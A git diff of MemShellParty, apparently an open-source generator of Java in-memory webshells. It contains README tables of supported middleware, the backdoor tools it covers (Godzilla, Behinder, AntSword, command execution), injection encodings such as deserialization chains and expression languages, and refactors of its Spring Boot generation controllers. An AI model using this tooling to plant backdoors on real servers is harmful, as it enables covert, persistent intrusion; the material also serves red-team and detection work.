@@ -299,7 +146,7 @@ docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
|
|||||||
```bash
|
```bash
|
||||||
# 基础构建
|
# 基础构建
|
||||||
docker buildx build \
|
docker buildx build \
|
||||||
--build-arg VERSION=1.6.0 \
|
--build-arg VERSION=1.3.1 \
|
||||||
-t memshell-party:latest . --load
|
-t memshell-party:latest . --load
|
||||||
|
|
||||||
# 基础镜像启动,访问 127.0.0.1:8080
|
# 基础镜像启动,访问 127.0.0.1:8080
|
||||||
@@ -307,7 +154,7 @@ docker run -it -d -p 8080:8080 memshell-party:latest
|
|||||||
|
|
||||||
# 自定义访问路径构建
|
# 自定义访问路径构建
|
||||||
docker buildx build \
|
docker buildx build \
|
||||||
--build-arg VERSION=1.6.0 \
|
--build-arg VERSION=1.3.1 \
|
||||||
--build-arg ROUTE_ROOT_PATH=/memshell-party \
|
--build-arg ROUTE_ROOT_PATH=/memshell-party \
|
||||||
--build-arg CONTEXT_PATH=/memshell-party \
|
--build-arg CONTEXT_PATH=/memshell-party \
|
||||||
-t memshell-party:latest . --load
|
-t memshell-party:latest . --load
|
||||||
@@ -339,6 +186,81 @@ location /memshell-party {
|
|||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
|
## 适配情况
|
||||||
|
|
||||||
|
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
|
||||||
|
|
||||||
|
### 中间件以及框架
|
||||||
|
|
||||||
|
| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) |
|
||||||
|
|----------------------|------------------------|----------------------|----------------------|
|
||||||
|
| Servlet | Servlet | Filter | Filter |
|
||||||
|
| Filter | Filter | Listener | Listener |
|
||||||
|
| Listener | Listener | Valve | Valve |
|
||||||
|
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
||||||
|
| ContextValve - Agent | | | |
|
||||||
|
|
||||||
|
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB |
|
||||||
|
|---------------------|--------------------------|-----------------|--------------|
|
||||||
|
| Servlet | Interceptor | WebFilter | NettyHandler |
|
||||||
|
| Filter | ControllerHandler | HandlerMethod | |
|
||||||
|
| Listener | FrameworkServlet - Agent | HandlerFunction | |
|
||||||
|
| FilterChain - Agent | | NettyHandler | |
|
||||||
|
|
||||||
|
| JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow |
|
||||||
|
|----------------------|----------------------------|------------------------|------------------------|
|
||||||
|
| Filter | Filter | Servlet | Servlet |
|
||||||
|
| Listener | Listener | Filter | Filter |
|
||||||
|
| Valve | Valve(6) | Listener | Listener |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
||||||
|
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
||||||
|
| | ServletHandler - Agent (7) | | |
|
||||||
|
|
||||||
|
| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) |
|
||||||
|
|-----------------------|-------------------------|
|
||||||
|
| Servlet | Servlet |
|
||||||
|
| Filter | Filter |
|
||||||
|
| Listener | Listener |
|
||||||
|
| FilterManager - Agent | ServletContext - Agent |
|
||||||
|
|
||||||
|
| BES(9.5.x) | TongWeb(6 ~ 7) | InforSuite AS (9 ~ 10) | Apusic AS (9) |
|
||||||
|
|----------------------|----------------------|------------------------|---------------|
|
||||||
|
| Filter | Filter | Filter | Servlet |
|
||||||
|
| Listener | Listener | Listener | Filter |
|
||||||
|
| Valve | Valve | Valve | Listener |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | |
|
||||||
|
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | |
|
||||||
|
|
||||||
|
### 内存马功能
|
||||||
|
|
||||||
|
- [x] Godzilla 哥斯拉
|
||||||
|
- [x] Behinder 冰蝎
|
||||||
|
- [x] 命令执行
|
||||||
|
- [x] Suo5
|
||||||
|
- [x] AntSword 蚁剑
|
||||||
|
- [ ] Neo-reGeorg
|
||||||
|
- [ ] Custom
|
||||||
|
|
||||||
|
### 封装方式
|
||||||
|
|
||||||
|
- [x] BASE64
|
||||||
|
- [x] GZIP BASE64
|
||||||
|
- [x] JSP
|
||||||
|
- [x] JSPX
|
||||||
|
- [x] JAR
|
||||||
|
- [x] BCEL
|
||||||
|
- [x] 内置脚本引擎、Rhino 脚本引擎
|
||||||
|
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
|
||||||
|
- [x] Velocity、Freemarker、JinJava
|
||||||
|
- [x] 原生反序列化(CB4)
|
||||||
|
- [x] Agent
|
||||||
|
- [x] XXL-JOB Executor
|
||||||
|
- [x] Hessian、Hessian2 反序列化(XSLT链)
|
||||||
|
- [ ] JNDI
|
||||||
|
- [ ] JDBC 连接
|
||||||
|
- [ ] 其他常见反序列化
|
||||||
|
|
||||||
## How
|
## How
|
||||||
|
|
||||||
1. 如何使用 bytebuddy 生成类,为属性赋值,添加方法,指定位置调用方法?(**WIP**)
|
1. 如何使用 bytebuddy 生成类,为属性赋值,添加方法,指定位置调用方法?(**WIP**)
|
||||||
|
|||||||
Binary file not shown.
|
Before Width: | Height: | Size: 130 KiB After Width: | Height: | Size: 60 KiB |
@@ -1,9 +0,0 @@
|
|||||||
FROM python:3.12-slim
|
|
||||||
|
|
||||||
WORKDIR /app
|
|
||||||
|
|
||||||
RUN pip install requests
|
|
||||||
|
|
||||||
COPY neoreg.py .
|
|
||||||
|
|
||||||
CMD ["tail", "-f", "/dev/null"]
|
|
||||||
File diff suppressed because it is too large
Load Diff
Binary file not shown.
|
Before Width: | Height: | Size: 242 KiB After Width: | Height: | Size: 131 KiB |
@@ -2,14 +2,9 @@ plugins {
|
|||||||
id 'java-platform'
|
id 'java-platform'
|
||||||
}
|
}
|
||||||
|
|
||||||
group = "io.github.reajason"
|
|
||||||
description = "This Bill of Materials POM can be used to ease dependency management when referencing multiple MemShellParty artifacts using Gradle or Maven."
|
|
||||||
version = rootProject.version
|
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
constraints {
|
constraints {
|
||||||
api 'net.bytebuddy:byte-buddy:1.17.5'
|
api 'net.bytebuddy:byte-buddy:1.+'
|
||||||
api 'org.ow2.asm:asm-commons:9.7.1'
|
|
||||||
|
|
||||||
api 'javax.servlet:javax.servlet-api:3.0.1'
|
api 'javax.servlet:javax.servlet-api:3.0.1'
|
||||||
api 'jakarta.servlet:jakarta.servlet-api:6.0.0'
|
api 'jakarta.servlet:jakarta.servlet-api:6.0.0'
|
||||||
@@ -19,22 +14,21 @@ dependencies {
|
|||||||
api 'org.springframework:spring-webflux:5.3.24'
|
api 'org.springframework:spring-webflux:5.3.24'
|
||||||
api 'io.projectreactor.netty:reactor-netty-core:1.1.25'
|
api 'io.projectreactor.netty:reactor-netty-core:1.1.25'
|
||||||
|
|
||||||
api 'commons-io:commons-io:2.18.0'
|
api 'commons-io:commons-io:2.+'
|
||||||
api 'org.apache.commons:commons-lang3:3.17.0'
|
api 'org.apache.commons:commons-lang3:3.+'
|
||||||
api 'commons-codec:commons-codec:1.18.0'
|
api 'commons-codec:commons-codec:1.+'
|
||||||
api 'ch.qos.logback:logback-classic:1.5.18'
|
api 'ch.qos.logback:logback-classic:1.+'
|
||||||
|
|
||||||
|
api 'xalan:xalan:2.7.0'
|
||||||
api 'org.apache.bcel:bcel:5.2'
|
api 'org.apache.bcel:bcel:5.2'
|
||||||
|
|
||||||
api 'org.java-websocket:Java-WebSocket:1.5.7'
|
api 'org.java-websocket:Java-WebSocket:1.5.7'
|
||||||
api 'com.squareup.okhttp3:okhttp:4.12.0'
|
api 'com.squareup.okhttp3:okhttp:4.+'
|
||||||
api 'com.alibaba.fastjson2:fastjson2:2.0.53'
|
api 'com.alibaba.fastjson2:fastjson2:2.0.53'
|
||||||
api 'com.fasterxml.jackson.core:jackson-databind:2.18.3'
|
|
||||||
|
|
||||||
api 'org.jetbrains:annotations:26.0.1'
|
api 'org.jetbrains:annotations:26.0.1'
|
||||||
|
|
||||||
api 'org.mockito:mockito-core:5.15.2'
|
api "org.mockito:mockito-core:5.15.2"
|
||||||
api 'org.mockito:mockito-junit-jupiter:5.15.2'
|
|
||||||
api 'org.hamcrest:hamcrest:3.0'
|
api 'org.hamcrest:hamcrest:3.0'
|
||||||
api 'org.junit:junit-bom:5.11.4'
|
api 'org.junit:junit-bom:5.11.4'
|
||||||
api 'org.testcontainers:testcontainers:1.20.5'
|
api 'org.testcontainers:testcontainers:1.20.5'
|
||||||
+4
-3
@@ -4,10 +4,11 @@ LABEL authors="ReaJason<[email protected]>"
|
|||||||
|
|
||||||
WORKDIR /app
|
WORKDIR /app
|
||||||
|
|
||||||
RUN groupadd -r spring && \
|
COPY build/libs/*.jar app.jar
|
||||||
useradd -r -g spring spring
|
|
||||||
|
|
||||||
COPY --chown=spring:spring build/libs/*.jar app.jar
|
RUN groupadd -r spring && \
|
||||||
|
useradd -r -g spring spring && \
|
||||||
|
chown spring:spring /app/app.jar
|
||||||
|
|
||||||
USER spring:spring
|
USER spring:spring
|
||||||
|
|
||||||
|
|||||||
@@ -48,7 +48,6 @@ dependencies {
|
|||||||
implementation('org.springframework.boot:spring-boot-starter-web') {
|
implementation('org.springframework.boot:spring-boot-starter-web') {
|
||||||
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
|
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
|
||||||
}
|
}
|
||||||
implementation 'org.apache.commons:commons-lang3:3.+'
|
|
||||||
implementation 'org.springframework.boot:spring-boot-starter-undertow'
|
implementation 'org.springframework.boot:spring-boot-starter-undertow'
|
||||||
compileOnly 'org.projectlombok:lombok'
|
compileOnly 'org.projectlombok:lombok'
|
||||||
developmentOnly 'org.springframework.boot:spring-boot-devtools'
|
developmentOnly 'org.springframework.boot:spring-boot-devtools'
|
||||||
|
|||||||
@@ -1,21 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.config;
|
|
||||||
|
|
||||||
import org.springframework.context.annotation.Bean;
|
|
||||||
import org.springframework.context.annotation.Configuration;
|
|
||||||
import org.springframework.http.client.SimpleClientHttpRequestFactory;
|
|
||||||
import org.springframework.web.client.RestTemplate;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
*/
|
|
||||||
@Configuration
|
|
||||||
public class WebConfig {
|
|
||||||
|
|
||||||
@Bean
|
|
||||||
public RestTemplate restTemplate() {
|
|
||||||
SimpleClientHttpRequestFactory factory = new SimpleClientHttpRequestFactory();
|
|
||||||
factory.setConnectTimeout(3000);
|
|
||||||
factory.setReadTimeout(3000);
|
|
||||||
return new RestTemplate(factory);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,14 +1,17 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
import com.reajason.javaweb.boot.entity.Config;
|
||||||
|
import com.reajason.javaweb.memshell.server.AbstractShell;
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractShell;
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
|
import org.springframework.http.ResponseEntity;
|
||||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
|
import java.util.stream.Collectors;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -18,36 +21,17 @@ import java.util.*;
|
|||||||
@RequestMapping("/config")
|
@RequestMapping("/config")
|
||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
public class ConfigController {
|
public class ConfigController {
|
||||||
|
|
||||||
@RequestMapping("/servers")
|
|
||||||
public Map<String, List<String>> getServers() {
|
|
||||||
Map<String, List<String>> servers = new LinkedHashMap<>();
|
|
||||||
for (Server server : Server.values()) {
|
|
||||||
if (server.getShell() != null) {
|
|
||||||
Set<String> supportedShellTypes = server.getShell().getShellInjectorMapping().getSupportedShellTypes();
|
|
||||||
servers.put(server.name(), supportedShellTypes.stream().toList());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return servers;
|
|
||||||
}
|
|
||||||
|
|
||||||
@RequestMapping("/packers")
|
|
||||||
public List<String> getPackers() {
|
|
||||||
return Arrays.stream(Packers.values())
|
|
||||||
.filter(packers -> packers.getParentPacker() == null)
|
|
||||||
.map(Packers::name).toList();
|
|
||||||
}
|
|
||||||
|
|
||||||
@RequestMapping
|
@RequestMapping
|
||||||
public Map<String, Map<?, ?>> config() {
|
public ResponseEntity<?> config() {
|
||||||
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
|
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
|
||||||
for (Server value : Server.values()) {
|
for (Server value : Server.values()) {
|
||||||
AbstractShell shell = value.getShell();
|
AbstractShell shell = value.getShell();
|
||||||
if (shell == null) {
|
if (shell == null) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
ShellTool[] supportedShellTools = ShellTool.values();
|
||||||
Map<String, Set<String>> map = new LinkedHashMap<>(16);
|
Map<String, Set<String>> map = new LinkedHashMap<>(16);
|
||||||
for (ShellTool shellTool : shell.getSupportedShellTools()) {
|
for (ShellTool shellTool : supportedShellTools) {
|
||||||
Set<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
|
Set<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
|
||||||
if (supportedShellTypes.isEmpty()) {
|
if (supportedShellTypes.isEmpty()) {
|
||||||
continue;
|
continue;
|
||||||
@@ -56,6 +40,19 @@ public class ConfigController {
|
|||||||
}
|
}
|
||||||
coreMap.put(value.name(), map);
|
coreMap.put(value.name(), map);
|
||||||
}
|
}
|
||||||
return coreMap;
|
Config config = new Config();
|
||||||
|
config.setServers(
|
||||||
|
Arrays.stream(Server.values())
|
||||||
|
.filter(s -> s.getShell() != null)
|
||||||
|
.map(Server::name)
|
||||||
|
.collect(Collectors.toList())
|
||||||
|
);
|
||||||
|
config.setCore(coreMap);
|
||||||
|
config.setPackers(
|
||||||
|
Arrays.stream(Packers.values())
|
||||||
|
.filter(packers -> packers.getParentPacker() == null)
|
||||||
|
.map(Packers::name).toList()
|
||||||
|
);
|
||||||
|
return ResponseEntity.ok(config);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,8 +1,8 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||||
import com.reajason.javaweb.boot.dto.GenerateRequest;
|
import com.reajason.javaweb.boot.dto.GenerateRequest;
|
||||||
import com.reajason.javaweb.boot.dto.GenerateResponse;
|
import com.reajason.javaweb.boot.dto.GenerateResponse;
|
||||||
import com.reajason.javaweb.memshell.MemShellGenerator;
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
@@ -10,6 +10,7 @@ import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
|||||||
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
|
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
|
||||||
|
import org.springframework.http.ResponseEntity;
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.*;
|
||||||
|
|
||||||
import java.util.Base64;
|
import java.util.Base64;
|
||||||
@@ -23,18 +24,18 @@ import java.util.Base64;
|
|||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
public class GeneratorController {
|
public class GeneratorController {
|
||||||
@PostMapping
|
@PostMapping
|
||||||
public GenerateResponse generate(@RequestBody GenerateRequest request) {
|
public ResponseEntity<?> generate(@RequestBody GenerateRequest request) {
|
||||||
ShellConfig shellConfig = request.getShellConfig();
|
ShellConfig shellConfig = request.getShellConfig();
|
||||||
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
||||||
InjectorConfig injectorConfig = request.getInjectorConfig();
|
InjectorConfig injectorConfig = request.getInjectorConfig();
|
||||||
GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||||
Packer packer = request.getPacker().getInstance();
|
Packer packer = request.getPacker().getInstance();
|
||||||
if (packer instanceof JarPacker) {
|
if (packer instanceof JarPacker) {
|
||||||
return new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult)));
|
return ResponseEntity.ok(new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult))));
|
||||||
} else if (packer instanceof AggregatePacker) {
|
} else if (packer instanceof AggregatePacker) {
|
||||||
return new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult));
|
return ResponseEntity.ok(new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult)));
|
||||||
} else {
|
} else {
|
||||||
return new GenerateResponse(generateResult, packer.pack(generateResult));
|
return ResponseEntity.ok(new GenerateResponse(generateResult, packer.pack(generateResult)));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,20 +1,10 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
import com.reajason.javaweb.boot.entity.VersionInfo;
|
|
||||||
import org.springframework.beans.factory.annotation.Value;
|
import org.springframework.beans.factory.annotation.Value;
|
||||||
import org.springframework.core.ParameterizedTypeReference;
|
|
||||||
import org.springframework.http.HttpMethod;
|
|
||||||
import org.springframework.http.HttpStatus;
|
|
||||||
import org.springframework.http.ResponseEntity;
|
|
||||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
import org.springframework.web.client.RestTemplate;
|
|
||||||
import org.thymeleaf.util.StringUtils;
|
|
||||||
|
|
||||||
import java.util.List;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -26,66 +16,10 @@ import java.util.Map;
|
|||||||
public class VersionController {
|
public class VersionController {
|
||||||
|
|
||||||
@Value("${spring.application.version}")
|
@Value("${spring.application.version}")
|
||||||
private String version;
|
String version;
|
||||||
|
|
||||||
private final RestTemplate restTemplate;
|
|
||||||
|
|
||||||
public VersionController(RestTemplate restTemplate) {
|
|
||||||
this.restTemplate = restTemplate;
|
|
||||||
}
|
|
||||||
|
|
||||||
@GetMapping
|
@GetMapping
|
||||||
public VersionInfo version() {
|
public String version() {
|
||||||
if (version.endsWith("-SNAPSHOT")) {
|
|
||||||
return VersionInfo.builder()
|
|
||||||
.currentVersion(version)
|
|
||||||
.latestVersion(version).build();
|
|
||||||
}
|
|
||||||
String latestVersion = getLatestGithubRelease();
|
|
||||||
return VersionInfo.builder()
|
|
||||||
.currentVersion(version)
|
|
||||||
.latestVersion(latestVersion)
|
|
||||||
.hasUpdate(!StringUtils.equals(version, latestVersion))
|
|
||||||
.build();
|
|
||||||
}
|
|
||||||
|
|
||||||
private String getLatestGithubRelease() {
|
|
||||||
try {
|
|
||||||
String latestVersion = tryFetchRelease("https://api.github.com");
|
|
||||||
if (latestVersion != null) {
|
|
||||||
return latestVersion;
|
|
||||||
}
|
|
||||||
latestVersion = tryFetchRelease("https://gh.llkk.cc/https://api.github.com");
|
|
||||||
if (latestVersion != null) {
|
|
||||||
return latestVersion;
|
|
||||||
}
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
return version;
|
return version;
|
||||||
}
|
}
|
||||||
|
|
||||||
private String tryFetchRelease(String baseUrl) {
|
|
||||||
String apiUrl = String.format("%s/repos/%s/%s/releases", baseUrl, "ReaJason", "MemShellParty");
|
|
||||||
|
|
||||||
ResponseEntity<List<Map<String, Object>>> response = restTemplate.exchange(
|
|
||||||
apiUrl,
|
|
||||||
HttpMethod.GET,
|
|
||||||
null,
|
|
||||||
new ParameterizedTypeReference<>() {
|
|
||||||
}
|
|
||||||
);
|
|
||||||
if (response.getStatusCode() == HttpStatus.OK && response.getBody() != null) {
|
|
||||||
List<Map<String, Object>> body = response.getBody();
|
|
||||||
for (Map<String, Object> map : body) {
|
|
||||||
String targetCommitish = (String) map.get("target_commitish");
|
|
||||||
Boolean prerelease = (Boolean) map.get("prerelease");
|
|
||||||
Boolean draft = (Boolean) map.get("draft");
|
|
||||||
if ("master".equals(targetCommitish) && !prerelease && !draft) {
|
|
||||||
String tagName = (String) map.get("name");
|
|
||||||
return tagName.startsWith("v") ? tagName.substring(1) : tagName;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,10 +1,8 @@
|
|||||||
package com.reajason.javaweb.boot.dto;
|
package com.reajason.javaweb.boot.dto;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -27,47 +25,37 @@ public class GenerateRequest {
|
|||||||
private String antSwordPass;
|
private String antSwordPass;
|
||||||
private String headerName;
|
private String headerName;
|
||||||
private String headerValue;
|
private String headerValue;
|
||||||
private String shellClassBase64;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public ShellToolConfig parseShellToolConfig() {
|
public ShellToolConfig parseShellToolConfig() {
|
||||||
return switch (shellConfig.getShellTool()) {
|
return switch (shellConfig.getShellTool()) {
|
||||||
case Godzilla -> GodzillaConfig.builder()
|
case Godzilla -> GodzillaConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.pass(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaPass(), CommonUtil.getRandomString(8)))
|
.pass(shellToolConfig.getGodzillaPass())
|
||||||
.key(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaKey(), CommonUtil.getRandomString(8)))
|
.key(shellToolConfig.getGodzillaKey())
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
.build();
|
.build();
|
||||||
case Behinder -> BehinderConfig.builder()
|
case Behinder -> BehinderConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.pass(StringUtils.defaultIfBlank(shellToolConfig.getBehinderPass(), CommonUtil.getRandomString(8)))
|
.pass(shellToolConfig.getBehinderPass())
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
.build();
|
.build();
|
||||||
case Command -> CommandConfig.builder()
|
case Command -> CommandConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
|
.paramName(shellToolConfig.getCommandParamName())
|
||||||
.build();
|
.build();
|
||||||
case Suo5 -> Suo5Config.builder()
|
case Suo5 -> Suo5Config.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
.build();
|
.build();
|
||||||
case AntSword -> AntSwordConfig.builder()
|
case AntSword -> AntSwordConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.pass(StringUtils.defaultIfBlank(shellToolConfig.getAntSwordPass(), CommonUtil.getRandomString(8)))
|
.pass(shellToolConfig.getAntSwordPass())
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
.build();
|
|
||||||
case NeoreGeorg -> NeoreGeorgConfig.builder()
|
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
|
||||||
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
|
||||||
.build();
|
|
||||||
case Custom -> CustomConfig.builder()
|
|
||||||
.shellClassBase64(shellToolConfig.getShellClassBase64())
|
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
|
||||||
.build();
|
.build();
|
||||||
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -11,7 +11,7 @@ import java.util.Map;
|
|||||||
*/
|
*/
|
||||||
@Data
|
@Data
|
||||||
public class Config {
|
public class Config {
|
||||||
private Map<String, List<String>> servers;
|
private List<String> servers;
|
||||||
private Map<String, Map<?, ?>> core;
|
private Map<String, Map<?, ?>> core;
|
||||||
private List<String> packers;
|
private List<String> packers;
|
||||||
}
|
}
|
||||||
@@ -1,15 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.entity;
|
|
||||||
|
|
||||||
import lombok.Data;
|
|
||||||
import lombok.Builder;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
*/
|
|
||||||
@Data
|
|
||||||
@Builder
|
|
||||||
public class VersionInfo {
|
|
||||||
private String currentVersion;
|
|
||||||
private String latestVersion;
|
|
||||||
private boolean hasUpdate;
|
|
||||||
}
|
|
||||||
+7
-26
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.boot.entity.Config;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
import org.springframework.boot.test.context.SpringBootTest;
|
import org.springframework.boot.test.context.SpringBootTest;
|
||||||
@@ -7,9 +8,6 @@ import org.springframework.boot.test.web.client.TestRestTemplate;
|
|||||||
import org.springframework.http.HttpStatus;
|
import org.springframework.http.HttpStatus;
|
||||||
import org.springframework.http.ResponseEntity;
|
import org.springframework.http.ResponseEntity;
|
||||||
|
|
||||||
import java.util.List;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||||
|
|
||||||
@@ -26,31 +24,14 @@ public class ConfigControllerIntegrationTest {
|
|||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigEndpoint() {
|
public void testConfigEndpoint() {
|
||||||
ResponseEntity<Map> response = restTemplate.getForEntity("/config", Map.class);
|
